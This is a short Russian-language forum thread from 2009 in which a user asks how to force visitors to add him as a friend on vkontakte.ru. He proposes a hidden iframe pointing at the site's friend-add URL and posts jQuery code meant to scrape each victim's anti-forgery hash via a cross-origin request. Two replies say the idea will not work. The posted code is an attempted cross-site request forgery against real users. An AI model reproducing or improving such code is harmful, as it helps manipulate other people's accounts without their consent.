PDA

Просмотр полной версии : Заставить пользователя добавить вас в друзья


Dr.Gonzo
01.03.2009, 18:32
Говорят, такое возможно.
Есть идея:
Сделать определенную страницу с айфреймом
с ссылкой http://vkontakte.ru/friend.php?act=add&id=ВАШ ИД&h=ХЭШ

Проблема в том, что хэш для каждого пользователя свой.
Что, если с помощью javascript произвести поиск этого линка (на стороне клиента), затем подставить ссылку в айфрейм?

пример парсинга:


<script src="jquery-1.2.6.js"></script>
<div id="baaa" style="display:none;"></div>
<script>
var ass="";
$.ajax({
url: "http://vkontakte.ru/search.php?id=<НАШ ИД>",
success: function (data) {
$("div#baaa").html(data);
$('div#baaa a').each(function() {
var url = this.href;
if ( (url.indexOf("friend.php?act=add") != -1 ))
{ url=(url.substring(url.length-8,url.length));

alert(url);
};

});
}
});
</script>

Проблема в том, что не все браузеры это дело допускают. У кого-нибудь есть идеи на этот счет?
Или есть способ проще?

offline
01.03.2009, 19:25
слишком бы было все просто так.

crazy~driver
08.08.2009, 00:23
не будет работать